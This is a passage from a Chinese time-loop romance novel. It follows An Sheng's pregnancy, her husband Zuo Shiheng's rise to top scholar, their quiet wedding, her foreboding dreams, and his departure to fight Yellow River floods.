安声不由得清醒了些,于是又转回向里。 果不其然,左时珩这倒是能贴近她,将她后背拥在怀里了,不过抱着她的手仍避开了腹部区域。 安声这下彻底清醒了,有些想笑。 她试图坐起,左时珩立即问:“要起夜么?” “你怎么还没睡?” 他安静片刻,坦诚:“有些睡不着。” 安声:“为何?” 他俯下身抱住安声,头轻轻放在她小腹旁:“我总忍不住想我们的孩子会是何模样,他们长得像你还是像我,你闻到烧鸡就不喜,是不是他们不喜欢烧鸡……” 安声愣了愣,笑得花枝乱颤,揉揉他脑袋:“左时珩,你今日可是殿试,你不去想三日后的结果,却在想这些,还想这么多。” 歇了会儿,她又轻声问:“是不是仍在忧心?” 左时珩本不欲说这些,但安声亦十分敏锐,又或是他藏得不好。 他用脸在她肚子上轻轻蹭了蹭,声音极低,同她说了实话:“嗯,其实也有些害怕。” “害怕什么?” “怕一切风险,一切未知。纵然我是个男人,也知妇人生产是不易之事,才三个月,你便吃的少了,还犯恶心,还有七个月可如何是好……原先我只想着同你有个孩子,如今见你这般辛苦,才后悔说得轻易,恨不能替你受罪,若必要你付出巨大代价来迎接这个孩子,我宁可不要他。” 安声心间化了化,融成一潭春水。 她笑道:“不要这样说,孩子会听懂的,他们会以为父亲不喜欢他们。” 左时珩忙对着她肚子说:“爹爹并非这个意思,而是希望你们乖巧懂事,莫让娘亲辛苦。” 说罢才反应过来:“他们?” 安声笑:“是啊,是我们的岁岁和阿序啊。” 她坐起来,左时珩便往她身后垫了枕头,让她靠着。 点起蜡烛,暖黄烛光轻拢,映出一个交叠的影子。 安声倚过来,紧贴他胸口,听着他稳定有力的心跳,十分满足。 她闭上眼不紧不慢地同他说:“我未经人事时,因见到了太多不幸福的婚姻与家庭,也曾恐婚恐育,不欲自己也深入漩涡。但我遇见了你,左时珩,你太好太好,我真的爱极了你,想与你组建一个家庭的念头让我有了克服恐惧的勇气。” “我也曾想,怀孕是件多么可怕的事啊,除去十月怀胎的辛劳与生产的风险,最可怕的是生育后的艰难挑战,那是更为漫长的折磨,因为这个阶段,丈夫往往是缺席的,甚少愿与妻子共同承担,并肩作战,甚至丈夫的漠视才是妻子痛苦的根源。” “哪怕这一切都过去了,将孩子一点点抚养长大同样并非易事,孩子生病父母焦心,孩子任性父母生气,即便长大成人,还要担心孩子将来为非作歹,忘恩负义,让父母后悔生养了他。” 安声说到此处停下,伸手搂住左时珩脖颈,与他对视,目光赤忱。 “因为是你,左时珩,因为我遇见的是你,这一切的一切我才不必担心,我知道你有多好,对我有多好,我们的孩子有多聪明乖巧,我才迫不及待地迎接将来,若不是你,我不会和任何人成婚,也不会有孩子,只能是你。” 她蓦然哽住,想到那段痛苦日子,眼泪不禁滑落下来。 左时珩动容不已,低头吻她的泪。 他胸中波澜起伏,也无法此时言语,只温声应:“好。” 她说因为是他,她爱极了他,他们会儿女双全,幸福的不得了。 那他,会倾尽全力,为她做到- 殿试三日后,三月十八日,太和殿前丹陛御道举行了传胪大典,依旧是东宫出席,文武百官朝服在列,新科进士整齐肃立于两侧。 鸿胪寺官员捧了黄纸金书,走到御道中间,高声宣唱。 “第一甲第一名,原州会扬左时珩!” 左时珩抬眸,目中略过一丝诧异,遂轻抚衣袍,恭敬出列,跪在御道中间,受百官视线,不卑不亢,从容坦然。 高坐御座的太子露出赞赏的微笑,几不可察地点了点头。 鸿胪寺官员又继续唱名,唤出榜眼,探花,二甲三甲则不逐一唱名,只提一位。 待金殿传胪结束后,礼官手中的黄纸金书便会张挂于龙门之外,供万民瞻仰,其上的考生名姓便是真正落了实,称为“金榜题名”。 一甲赐进士及第,直接授翰林院修撰,二甲赐进士出身,参加朝考,优秀者选为庶吉士,三甲赐同进士出身,授京中或地方知县等职。 传胪次日,进士们同去国子监拜孔圣人,脱下布衣布袍,换上官员襕衫,再去礼部赴“琼林宴”。 朝为田舍郎,暮登天子堂,当真是荣耀至极。 自然,在琼林宴前日,还少不了最为风光的跨马游街,状元、榜眼、探花三人身着红袍,胸披红绸,帽插金翎,骑在高头大马上,既有御前侍卫、礼部官员开道,又有旌旗伞盖,鼓乐演奏,示荣于天下,引万人空巷,山呼海啸。 安声为这日早作准备,挎了满满一篮子的鲜花,在游街必经之道的酒楼上,预上一间临街包厢,在左时珩骑马而来时,向他抛洒,为他欢呼喝彩。 左时珩在万千荣华中仰头望她,眸中温柔含笑,仿若流淌星河,见众生,也见一人。 …… 安声他们所在的小院披挂红绸,张灯结彩,日日都能迎来邻居或同年庆贺拜谒,络绎不绝。 除去与安声同赴了张为是在同庆楼设下的谢宴后,左时珩几乎未与任何一位同榜进士结交。 他向东宫上表一封,措辞恭敬恳切,陈情他与妻子早早定下婚约,承诺金榜题名后正式迎娶,君子守信,且为安家室、承宗祀,不敢久拖,但深切忧虑圣上龙体,恳请一切从简,不举乐,不宴客,仅行基本之礼,以免失仪于君父之前。 太子拿到这封表文看了又看,又递给太子妃,赞道:“你看看这字,这字绝了。” 太子妃一愣,不期他竟是说这个,但一想也合理,不由微笑道:“这位新科状元虽年少,但识大体,懂进退,殿下何不成全了他。” 太子落下朱批,颔首:“父皇这两日清醒了些,但犹在病中,虽不宜大办,或许多有些喜事冲一冲也不是坏事,左时珩年纪轻轻,身为状元,却不骄不躁,忠谨知礼,那份策论写得也是切实有据,确是人才。” 他略思片刻,道:“着礼部协办吧,务必从简但不失庄重。”又让工部尚书苏博苏大人担任主婚人,并赐下一对同心白玉佩以示恩荣。 太子妃笑道:“殿下仁厚,妾亦随玉镯一对以示祝福吧。”她着眼于那字里行间:“说得这般深情,这位状元夫人妾也有兴趣见见。” 太子方想应下,转念一想,又改了口:“不宜荣宠太过,日后再见吧。” 太子妃点头。 …… 得到允准后,左时珩亲自跑了好些地方,赁下间漂亮院子,精心布置一番,确认万事周全,才接了安声来,请了丫鬟婆子细心看顾。 这是场不算盛大的婚礼,但正是这般外简内丰,才契合安声的心意。她是爱热闹,却不爱出风头之人,本已是状元夫人,十分耀眼了,若让她再坐八抬大轿,穿闹市,绕皇城,被全程百姓围观,她实在不自在。 其实,这场仪式对安声而言本也是可有可无,但她深知左时珩的心思,无论怎样安排,总觉得委屈了她,对她亏欠甚多。 当日,持请帖而来的宾客也在少数,但位尊且贵,皆是在朝官员,乃会试主考副考或翰林院同僚及大学士,同年仅几位,不过榜眼探花倒都来了,众人亦是低调从简,备上贺礼。 杏花胡同的小院门前悬了灯笼,贴了楹联,远看素净,近观有喜。 吉时前,安声由侍女服侍,穿上嫁衣,戴上凤冠,画上清丽妆容,从暂居的别院中出嫁,左时珩已牵了马,早早候在门前接她,无锣鼓旗牌,只有几名仆从,几位傧相,之后是一顶八抬喜轿,虽无过多奢侈绣饰,但规格足够庄重。 安声盖着大红盖头,朝他伸出手,被他稳稳握住,他的手掌宽大温暖,却紧张得生了汗,还有些微微发颤。 可见处变不惊的左大人内心远不如外表这般从容,安声噙起笑,稍稍用力握了握他,被他稳稳扶入轿中坐下。 喜轿穿过几条相对僻静的长街巷道,落在状元府门前,才点了一串高挂的鞭炮。 在噼里啪啦的热闹声中,雇来的仆从向坊里邻居分发喜糖,安声则在左时珩搀扶下,越过门槛,跨过火盆,走入厅堂。 那方“天地君亲师”的牌位摆在正中间,左右鎏金银烛,面前瓜果喜糖垒成宝塔。 工部尚书苏大人满脸温和笑意,频频点头,为他们主完了三拜之礼。 礼成之后,左时珩牵安声的手入了婚房,再出来招待宾客,全程只有祝贺道喜,并无喧哗吵闹。 待宾客尽散,院门关上,仿佛世上只剩了这一方天地,天地中只余他们两人。 左时珩轻轻推门而入,安声正坐于镜前,在朦胧烛光中,朝他浅浅一笑:“我夫君真是好生俊俏的新郎官啊。” 左时珩扬起笑,走到她身旁,俯身拥住她:“累了么?” “还好,除了早起,我也没做什么。”安声握住他的手,“替我卸了钗环吧,这倒有些重。” “好。” 左时珩望着铜镜中的那张明媚容颜,嘴角的笑始终下不去,手上倒是不紧不慢,将她头饰一一摘下,散下乌发。 才解下,他便忍不住低头吻她,很轻柔,似一阵风掠过唇瓣。 “吾妻阿声……”他呢喃着,将她的名字反复念起,缱绻缠绵。 安声透过镜中看他,渐渐眼眶发红,亦忍不住抬头回吻。 左时珩捧了她脸轻柔摩挲,而后在她面前单膝跪下,从袖中取出一枚白玉指环,牵起她手,在她无名指处落下一吻,将指环慢慢戴了上去,尺寸正好。 安声怔然落泪,尚未反应,便听他抬眸笑问:“这般,可是你们那边的规矩?” 安声回过神,眸中泪光盈盈,再坐不住,扑入他怀里。 “左时珩……不要跪我,我不是你求来的,我同你成婚实在愿意得不得了。” 左时珩从未生活在她的世界过,她深知时代局限性与左时珩的心气风骨,因此,他曾向她问起在她那里,男子如何向心爱之人求娶时,她对此只是一带而过,不曾想,他竟对她的字字句句都上了心,于他而言,这个跪礼无异于将她置于一切认知礼教之上,她如何能不感动。 左时珩摸她的发,温声笑道:“我若早知将来会娶阿声为妻,当从牙牙学语时便开始向上天祈求,早日与你相见。” “你待我万般好,我跪一跪你不会折我的尊严,也不会折你的寿数,这当是我的福运。” “左时珩,我不过是如你待我一般待你。”安声撩起裙摆,同样单膝跪下,眼眶红红地笑,“既如此,这也是我的福运。”- 三月底,京城热闹氛围仿佛被画上了休止符,倏的一紧——老皇帝陡然病重昏迷,时日无多。 挺了几日,终归是没能跨入四月,崩于乾午宫中。 太子灵前继位,礼部宣诏,四月正式登基,改年号为“安和”。 第57章 元年 新皇登基,服丧二十七日,正式昭告天下,入主乾午宫,启用年号安和。 安和元年四月底,安声第一次做了个关于云水山的梦。 梦中,她穿着那身蓝色长裙,神色匆匆,行于云水山中,似在寻找什么。 终于,她看见那座林中小屋,不由大喜,急奔而去,猛地推开门,但见桌椅腐朽,蛛网遍结,灰尘积厚,空无一人。 她愣了许久,听身后脚步动静,慌忙转身,见一樵夫背柴而过,向她问道:“你找谁?这里早没人了。” 她怔答:“我找左时珩。” 樵夫道:“左大人已逝世三年,你来晚了。” 她呆滞原地,血肉骨头似寸寸断裂,梦中亦有痛感。 被左时珩唤醒时,梦中悲恸犹自延续,让她哭得停不下来,左时珩将她拥入怀中,温柔低哄。 直到安声完全被他身上熟悉清冷的白梅香包裹住,才渐渐从那份情绪中挣脱出来。 她将左时珩的衣襟都哭湿了,却仍不想放开他,紧紧抓住他衣裳,似乎如此便能抵消梦中的失去感。 左时珩抚摸着她后心,柔声问:“做噩梦了么?” 安声埋在他怀中低应了声。 左时珩吻她的发:“别怕,噩梦都是反的,好梦才会成真。” 安声缄默着,没有回应。 她已无法说服自己,那些梦仅仅是一个梦,还是曾经发生过的真实。 离安和四年还有许久,她与左时珩相遇至今,实在幸福的不得了,宁可自己暂不去想那遥远的事,可今夜这个突然来临的梦魇,仿佛一朵阴云笼罩在她心头,让她刀悬于顶。 她又想起安和九年时,她做的那个梦,梦中她眼见左时珩在大雪中踽踽独行,葬身云水山,当时梦醒便忘,反倒如今愈发清晰,犹在眼前。 她忍不住在他怀中颤抖起来,到底要多少次,要重来多少次,她才能找到一个与左时珩相守一生的结局。 “阿声,阿声……”左时珩柔声唤她,捧起她脸,“看我。” 她泪眼婆娑,跌入左时珩满是心疼的目光里。 他问:“能告诉我,是怎样的梦吗?” 安声摇头,眼泪又兀自滑落。 左时珩指腹拭去她眼尾泪痕,与她额头相抵:“好,那我不问,不过无论是怎样的噩梦,都不会发生的,你的夫君会帮你拦下所有坏事,信不信?” 他尾音里带了些轻松笑意,让安声也自然地心定了些。 “信,我的夫君会倾尽所能保护我,所以我也会如此。” 左时珩笑了笑,正要说什么,忽听她轻呼一声,不由又紧张起来:“怎么了?” 安声将手放到小腹上,惊喜:“胎动了!” 她忙将左时珩的手也放上去:“你摸一下,看看还会不会动。” 左时珩大气也不敢出,静静等着,不过半晌也无反应。 安声覆住他手背:“大约是他们已睡了,方才只是翻了个身,所以又不动了。” 左时珩笑笑,蹭她颈侧:“嗯,只要不是怕我这个爹爹就好。” “我们也睡吧,两个孩子或许被我们吵醒了,这会儿正不高兴呢。” “我们家可能只有我有起床气。”安声笑了声,重新躺下,枕在他臂弯里,被他身上清冷香味一浸,倒是暖融融的。 眼见着到五月,天已暖和起来,棉衣也换了春衫。 新朝新气象,安和帝连续颁发了多条政令,上上下下都忙碌起来。左时珩任翰林院修撰,除参与编修前朝史料与本朝实录外,也忙于协助起草各种诏书奏表,一日比一日回来更晚。 他不放心安声一人在家,想买了丫鬟婆子来照顾,安声不愿,说自己才刚显怀,且已四个多月,胎象稳固,没那么娇弱。 左时珩无法,只得就近请了厨娘,白日里过来烧饭,顺便做做简单洒扫。 安声倒不是真那么勤快,是她私心在等穆诗一家人出现。 她总觉得,若是请了丫鬟婆子管家,似乎冥冥中便将他们替代了似的,她不愿如此。 但她苦恼也在于此,她并不知要怎么找到他们,纵然她闲暇时在城中四处逛过,也没有与他们相遇。 安和九年中,她只以为那是另一个平行时空发生过的事,并未细问穆诗一家是何日何时何地被他们所救,如今只能干等。 五月上旬,忙了一个多月未曾分身的左时珩,终于得了一日休沐,安声说想出城去看看老乞丐,左时珩担心之余还是应下,租了辆马车,铺上厚厚的褥子,一路小心看护。 出了城,城外已是绿荫遍地,一片暮春盛景,今日亦天气晴朗,天蓝的像一块透净琉璃,偶尔飘着几缕棉絮。 路不好走,有些颠簸,安声半躺在左时珩怀里休息,只觉腰隐隐酸胀。 左时珩替她按揉着,问她是否好些,眉目中忧色始终未能散去。 安声说好一些,只是身子发沉,毕竟怀了双胎。 不过岁岁与阿序当真是乖巧懂事,她害喜的反应不是很大,只闻不得油腥,闻了便想吐,若是清汤炖的之类,则不会有反应。 口味也有些许变化,孕中喜辣喜酸偏不喜甜。 食量上吃得多些,但她也有意控制,不让体重增长过快,每日还要在院中至少走动一个时辰,以增强体魄。 “左时珩!快看。” 她掀起外衣,贴身里衣覆盖的隆起的肚皮上,时不时有些起伏波动。 左时珩将手轻轻抚上去,俯身凑近:“你们要忍一忍,娘亲比你们更不舒服,就不要折腾她了。” 仿佛真的听懂他的话似的,果然没多久,胎动歇了下来。 安声在小腹上摸了几圈,笑道:“左时珩,以后坏人交给你来做,我做好人。” 左时珩笑道:“我若是教他们学问,只怕想当慈父也难,你倒不要惯他们太过,免得将来总向你去告状。” 安声略想一想,忍不住笑。 以后还真是这样。 只是……要除去那五年。 绕过云水山,又行了一段路,马车最终停在破庙不远处,左时珩将安声抱下来,安声揉了揉心口,寻一处荒草吐了会。 左时珩蹙着眉,轻拍她后心:“下次我替你来即可,师父他老人家不会怪你的。” “我不是怕他怪我,我也想运动运动嘛。” 安声握住他手,示意他别担心。 左时珩一手提着东西,一手牵着安声,相携往破庙走去,车夫驾车在原地等。 老乞丐正在庙中,坐在那一堆锅碗瓢盆,衣裳毯被中间,耐心地削他的木头。 之前安声来时给他留了吃食衣物银钱,还有便于雕刻的软木,不过此刻他手中拿着的仍是纤维很粗的树枝。 她推门喊了声师父,老乞丐抬起头,眯了眯眼,露出笑容。 得知安声已经怀孕,老乞丐感慨许久,又对左时珩道:“你个后生真是好福气啊。” 左时珩笑应:“是。” 安声再次请求老乞丐随他们回去,住到城里,老乞丐也依旧拒绝,没有松口的意思。 他道:“没想到小老儿孤身一人这么多年,到老了快死了还有个女儿似的贴心徒弟和状元女婿,这谁能想到,看来我也是好福气。不过还是那句话,我一个人惯了,要我住到房子里,睡到床上,我浑身都不自在,你们都不要干涉我。” 聊了半个时辰,他催促起来:“走吧,回去吧,路远,时辰也不早,别等城门关了麻烦。” 左时珩扶着安声起身,颔首:“下回我再来看您,不过阿声身子重了,不便出门。” 老乞丐摆手:“别来了,都别来了,下回来我不在这儿。” 安声忙问原因。 老乞丐沉默良久,笑了一笑,黑黢黢的脸上皱纹遍布,他说他要出一趟远门,寻故乡去。 他自小无父无母,几岁时被人捡了回家,两年后遇上饥荒,逃难路上走丢,在道观里待了三年,庙里又待过一年,后来就是四处流浪四处乞讨,转眼已是两鬓苍苍,还不知自己姓甚名谁,何方人士。 或许大限将至,近几年他愈发有了落叶归根的念头,于是多方打听,直到今年总算是有了点眉目,说要往江州去,不过他已这把年纪,即便真有亲人,只怕记得他的也已死绝了,只能去碰碰运气,若是没有结果,再回来找他们。 他笑道:“到时候小老儿也活到头了,师徒一场,替我打口棺材,多烧点纸,免得我到了地下还要讨饭。” 安声潸然泪落。 回程时,她默默良久,趴在左时珩怀中伤怀。 老乞丐耄耋之年,已是长寿,生老病死是必然命题,但人无论做多久的心理准备,在分别来临前,依然无法真正从容。 她想起自己的外婆,那时她才高一,外婆被查出胃癌晚期,手术化疗吃药等拖了半年,人迅速消瘦下去,原本一个稍显富态的老太太,变得皮包骨一般。 外婆生病后,在老家休养。她便办了住校,周一到周五上学,周五不用晚自习,放学后就赶去外婆家,后来则是赶去医院,最后是赶去殡仪馆。 见外婆最后一面就是在殡仪馆中,外婆画了妆,穿着崭新的衣裳,静静躺在水晶棺中,像是睡着了,原先的蜡黄病态不见了,神态十分安详。 她站在一米开外望着,妈妈哭着推她,要她跟外婆说些告别的话,她豆大的眼泪断了线似的掉,一个字也说不出来。 就这样,她沉默地送走了最爱她的亲人,从此没了家,像一棵野草自石缝中独自生长。 马车入城后驶入主街,被拦了下来,带刀侍卫沿街开路,护送一队百人的豪华仪仗缓缓而过,往南城门去。 车夫打听了下,说是礼亲王领了旨意,前往就藩。 左时珩点头:“那绕路吧。” 马车从巷中穿过,绕了条远路,路窄人多,也不算好走。 行至中途,夕阳半落,安声撩开帘子,想透口气,忽而瞥见一个巷尾街角乞讨的妇人,那妇人满脸绝望,向过往路人哭诉讨要着银钱,她面前躺着一个面如菜色,身染重病的男人,手边还有个八九岁的瘦弱小女孩,双膝跪地,握着父亲的手,默默流泪。 “左……左时珩!”安声激动起来,一时语无伦次,“他们,是他们!” 她当即让车夫停下,便要下车,被左时珩拦住。 虽不解,但他温声道:“别急,我下去看看,你待在车内好吗?” “我也要下去。” “好,那你别着急,慢慢来。” 他跳下马车,接了安声,两人在暮色里来到那家人面前。 只见那妇人抬头望着他们,泪流满面,往外拽了拽女儿胳膊,祈盼着问:“公子夫人……买丫头吗?她聪明听话,什么都能干。” 安声热泪盈眶,忽而俯身握住她那双枯瘦如柴且粗糙的手。 “我能买你们一家吗?多少钱都行。” 第58章 暂别 穆诗一家人的出现,似乎比“上一次”晚了些,但安声无法确定。 安和九年的安声,对于安和四年前发生的事知之甚少,所知不过是左时珩与旁人的只言片语,因时间跨度太长且认知错位,她也从未细问过,但仅从一些细枝末节中,她也隐约意识到,她如今的生活轨迹,与“上一次”并不完全重合。 其中一些是她主观刻意地改变,另一些不确定是蝴蝶效应还是客观原因,再加上那些说不清道不明的梦境与谶言,总之,她可以得出一个结论——每次的结果并不相同。 虽说如此,但结果不一定是她想要的,否则她不会重来这么多次。 如果她猜测没错,她在这样一个时空循环中,已经找到过破解之法,只是跳出循环后的时空,是她不能接受的现状,故而,她又一次次主动跳入循环,进行“重启”。 她可以确信的是,从那场车祸中出现在云水山的她,对这一切都没有半分记忆。如果她在奇石上所见的第一句谶言中提到的“第十一次”为真的话,那么则说明,即便她与左时珩已做了十一次的夫妻,她依然在安和九年见到他时,对他完全陌生。 若一定要说有什么不同,最多只能说她对左时珩有股没来由的信任感与亲近感。 她思虑着这些,便又有更多问题出现。 她是如何跳出循环又是如何主动进入循环的? 曾经那么多次结果的不同到底是她主动选择还是被动承受? 以及,在安和四年之前,所有事件的发生,又有多少在可控的范围? 例如,她曾经不知她的木雕是跟老乞丐学的,但她依然被他收徒,学了木雕,左时珩依然高中状元,依然与她成婚,住在杏花胡同里,她也依然与穆诗一家相遇。 但又有些不同之处,她主动选择的譬如不会去刻曾在左时珩书房中见过的木雕作品,客观的则是太永帝去世与穆诗一家出现的时间均往后推迟了一小段。 到底是该发生的一定发生,只是节点不同,还是有些许多事已经消失改变,只是她不知道呢? 说不清楚。 大夫说,孕中不宜多思,但她实在控制不住。 有时她一觉醒来,尚是半夜,借一盏纱帐外摇摇欲坠的烛火,静静凝视左时珩熟睡的眉眼,当下幸福与未来惶然相互交织,让她愈发清醒无眠。 她只是稍动一动,他便习惯性地拍一拍她,睁眼去瞧她的状况,她又如何将如此诡谲之事向他坦诚,除了让他时时惊惧忧伤几年后注定的离别外,他什么也做不了。 左时珩温和,从容,强大,能解决生活中的一切难题。 但他也脆弱到在失去她后心碎而死。 安声凑上去轻轻吻他。 他睫翼颤动,呼吸声落下,柔声问:“是不是哪里不舒服?” 安声抬手蒙住他的眼:“没有,只是忽然醒了,想亲亲你,睡吧。” 左时珩嘴角弯了弯,握住她的手,在她额上吻了下,又将她小心拥在怀里,睡意朦胧:“……好,睡吧。”- 这座二进小院与未来的左府自然比不了,但也绝对不小,除安声他们住的正房外,另有相对而立的东西厢房,不过当初赁了收拾后也只是空着没管。 如今接了穆诗一家,替穆山请了大夫治了病,原是营养不良过度饥饿异食导致的,养了半个月便能下地做事了。 安声说是买他们,却并未要他们签卖身契,反倒花银子替他们买了几套衣裳,又让他们收拾了西厢房去住。 两口子不知多么感激,恨不得日日给安声左时珩磕两个头,他们将院子收拾的干净整洁,又包揽了做饭缝补浆洗种地等事宜,还在住处养了鸡鸭,说是自己养的才放心,要给夫人好好补身子。 左时珩起初不明白为何安声一见这家人便要了他们,如今见他们心地善良,朴实能干,让他们在家照顾妻子,自己便也放了心。 安声月份渐渐大了,怀的双胎,实在容易累,李婶便将她照顾的非常细致,还以过来人的经验,与她说些注意事项,她也受益匪浅。 穆诗如今不过八九岁,也就当初岁岁的年纪,或因生活环境所致,有些胆怯,不爱说话,安声也不让她做什么,就只是陪着自己聊天,偶尔扶着她在院子里走一走,渐渐熟络了才活泼起来。 她想起后来穆诗曾与她说的那位书生,她有兴致问一问如今还有没有那人,不过想想作罢,她不过八九岁年纪,以情爱的目的过问不太合适,只当是她少女情窦初开时的小秘密罢了。 天渐热起来,张为是接了夫人孩子入京,听说水路陆路的转了一个多月才到,奔波辛苦。 他夫人圆脸阔面,皮肤黝黑,五官很是大气,性格风风火火,家里做船舶生意,也颇为富裕。 自她来后,张大人总在闲时找左时珩躲清静,说家中鸡飞狗跳,儿子调皮时,夫人叱骂,连他都一起遭殃,他教儿子读书,儿子背不出时,他也要遭夫人呵斥,说他不好好教。 他叫苦不迭,又不敢回嘴,只能借口讨论公事躲走。 而他夫人也会来找安声大倒苦水,说张为是如何一走近十年,不顾他们娘俩,如今好容易熬出头了,他们眼巴巴进京,却挤在这么个小院子里,整日憋屈死人。 说罢又解释:“我不是说你,你家这个院子虽然不大,但是干净整洁,又有下人伺候,我们家才买了一个丫鬟,办事也不利索。” 解释完又忍不住炫耀:“安夫人,你知道我娘家在崖州的宅子有多大吗?能比得上这整个长锦坊了,侍卫丫鬟婆子等等,加起来近百人,我从小也是过的千金小姐的日子,我还会开船入海,你见过大海吗?蓝汪汪一片,连到天边,漂亮得要了命了!” 夜间,安声与左时珩洗漱后相拥榻上,将他们夫妻双方的话一对,均忍俊不禁。 安声说:“我看啊,张大人被夫人吃的死死的,嘴上叫苦,心里不知多么高兴。” 左时珩轻笑赞同:“赵夫人虽嘴上不饶人,办事却爽利妥帖,不过是心里有气,加上初到京城不适应罢了。” 他将安声的腿放到自己腿上,替她按揉,又说起朝中的事:“六七月正值雨季,皇上十分忧虑黄河泛滥之事,召六部议论多次如何治河,工部尚书苏大人向皇上荐了我,欲擢我为工部都水清吏司郎中。” 安声眼一亮:“这就升官了?” 左时珩笑道:“嗯,翰林院修撰是从六品,司郎中是正五品,不过也没那般容易,因我那篇殿试策论深中肯綮而已,但位高则任重,若我能不称官,只怕跌的更重。” “不会,因为我夫君就是全天下最厉害的。” 左时珩脸颊绯红,让她抱着枕头趴下,替她按揉后腰,在她看不见时,眸底浮出忧色。 黄河泛区离京甚远,文章归文章,实践归实践,他那篇策论正中要害,皇上看重于他,才拔擢了他,必不会只让他在司郎中位上纸上谈兵的。 都水清吏司负责水利工程、道路、桥梁、船舶管理等,尤在水利一事,是重中之重。 自黄河夺江入海后,漕运大改,过了十年,当年被淹没在泥沙下的州县,仍未能从创伤中恢复过来。 如今黄河年年治理,无论筑堤拦水还是分流杀势,依旧汛期泛滥,治标不治本。 他便是从当年水灾中幸存下来的孩子,于那场惊世大灾中家破人亡。在那之前,他就已经对黄河了解甚多,之后更是在苦痛中不断思索,总结治河心得与方法,因而才在殿试中一鸣惊人。 若今年再逢汛期,他定然会被派往当地治水。 这是应当的,但他放心不下安声。 感觉到手上力道的变化,安声转头:“嗯?” 左时珩摇头,继续给她按摩。 安声扶腰坐起,他忙轻托她肚子:“慢点。” “左时珩,你有心事,为什么不告诉我?” 左时珩诧异望着她。 安声戳戳他胸口:“坦白从宽,抗拒从严。” 左时珩叹了口气,笑问:“很明显吗?” “对别人或许不明显,但对我而言,左时珩一个眼神就够了。” 左时珩捉了她手亲了亲,无奈摇头:“真是什么也瞒不了你。” “那就不要瞒我,不准瞒我。” 左时珩便让她躺靠在自己怀里,同她直言忧虑。 安声即道:“当然要去,不过我有个要求,照顾好自己,你的安全最重要。” 左时珩将脸埋在她颈侧,嗓音低沉发闷。 “……是我离不开你。” 安声揶揄:“左大人怎么撒娇呢,岁岁和阿序可听着的。” “……听着便听着。” “哈哈……”安声笑了一阵,摸摸左时珩的发,柔声道,“若要去,那早些回来,我在家里等你。”- 左时珩所料不错,皇帝将他放到工部都水清吏司郎中这个位置上,并非天上掉馅饼,可治理黄河,岂是易事? 若成,固然修祠立碑的大功一件,若败,那百万生民生活所系皆要归罪于此,一朝沦为阶下囚。 左时珩欣然接住了这个烫手山芋。 自他儿时起,便以将来读书做官为家乡治水为己任而勤勉不辍,生死早已置之度外。 只如今有了妻儿牵挂,他才慎之又慎,在担责时也尽力保全自身。 七月初,果然洪水暴涨,溃堤六处,左时珩接了朝廷文书,紧急动身前往高平府。 安声坚持相送至京城北门外,依依不舍,数度落泪。 她深切明了曾经自己那些信中所言,将来左时珩若去外地,她必要跟去的心思,原来正是她眼下真实写照。 若非有孕在身,她决计不愿与他分离。 她高看了自己,与左时珩分开的头一晚,她就已辗转难眠,思念于他,想他今夜睡在何处,吃的什么,此刻是否进入梦乡。 一会儿嫌烛火亮眼,一会儿又嫌夜色太沉。七月天气闷热难当,纵然左时珩离去前已作安排,让李婶在她房中放了冰,又扫凉玉簟,她依旧觉得百般不适,不得不下了床,到窗边坐着。 刚坐下,她便察觉到胎动,不由抚摸腹部,低声问:“是吵醒你们了?还是你们也在想爹爹?” 无人答她,只有蝉鸣蛙叫,聒噪得让人心烦。 坐也坐不住,一会儿便腰酸,于是她又起身寻了把蒲扇,在廊下来回踱步。 没多久,一道纤瘦身影靠近,从柱子后探出脑袋,小声问:“夫人热得睡不着吗?” 安声停下,朝穆诗招了招手,她走到灯笼下,仰起一张逐渐张开的脸蛋。 “你怎么也没睡?” “我……我担心大人走了,夫人会不习惯。” “好姑娘,真是好姑娘。”安声叹气,摸摸她头,“要不要搬来陪我一起睡?我有些怕黑。” 穆诗立即点头,回去拿了枕头与一床薄被进屋,扶了安声坐到床边,拿了蒲扇隔冰盆给她扇去凉风。 “我娘说过,有孕之人本就比一般人怕热,睡不好是正常的。” 安声笑笑:“你娘还跟你说什么?” 穆诗道:“我娘说了很多,是跟大人说的,大人也跟我娘说了很多,我只是在旁边听,没有全记住。” “记了哪些呢?” “大人说,夫人爱喝奶茶,但是孕中不宜多喝茶,也不能加糖,如今暑气蒸腾,人难免贪凉,若是吹了风,就让我娘以姜代茶煮给夫人喝,但要加半勺糖,问起就说加了果饮。” 安声失笑,好个左时珩,竟然用姜汤骗过她,怪不得有一次她喝的味道不对,但被他瞒了过去。 说来奇怪,她不喜姜,偏在孕中喝得下去,也不觉得有什么怪味,思来想去,觉得是岁岁的原因。 安声躺到床上,往腰下垫了个软枕:“你也到床上来睡吧,不必扇了。” 穆诗摇头:“我就在床边守着,做奴婢要有做奴婢的本分。” “我和大人并未将你一家当作下人。” “我知道,但我爹娘说,这是夫人与大人心善,我们不能真的坏了规矩。”穆诗执拗道,“夫人睡吧,我在这儿守着,夫人就不用怕黑了。” 安声轻轻叹了口气,不再多说,闭上眼。 过了会儿,她又睁开,忍不住向一个小孩问:“你说,左时珩能在孩子出世前赶回来吗?” 穆诗想了想,点头:“大人那么厉害,一定可以。”—— 作者有话说:祝大家圣诞快乐[烟花][烟花] 第59章 等待 足足一个月,安声才收到左时珩一封家书,信中言明他正忙于多地勘察,身体康健,吃好睡好,让她不必担忧,只所处之处偏僻,寄信不便,若久未收到家书也不必多思多想,珍重自身,他会尽力在冬月前赶回。 安声将信看了又看,欲提笔回信,可他行迹不定,在两府十几个黄河途径的州县来往,她不知要寄往何处,只能作罢。 虽说不能全然放心,但这封家书多少也有些安慰。 不过到了孕晚期,再轻松她也轻松不到哪儿去,手脚皆有些浮肿,被李婶扶着在院子里走,不多久便要停下来歇一歇,洗澡时但凡水温稍高一些,便心慌胸闷,睡觉更是艰难,无论什么姿势都不舒适。 李婶跟她闲聊时会提及她乡里乡亲那些怀孕姑娘有如何如何反应,说如她这般表现得已是很好,可见两个孩子出世后必是听话懂事的,才不让娘亲受罪。 安声摇头笑笑。 她庆幸她的身体已发育完全,又十分健康,且秉持基本生理常识,每日坚持运动,不去大补,让孩子发育过快,但古时候的女子十五及笄,很快便要嫁人,未成年时就要生育,自己都还是个孩子,如何不受罪?加上欠发达的医疗水平,称为鬼门关毫不为过。 即便她已知晓未来许多事的走向,但她依然会对此有些忧虑,生怕某些节点发生变故。 越到后期,她越忍不住胡思乱想,或许是身体因素,又或许是那个充满未知的结局,让她情不自禁往坏处想。 如果她无法顺利生产怎么办?如果她生产时难产而死怎么办?如果两个孩子不是岁岁阿序怎么办?…… 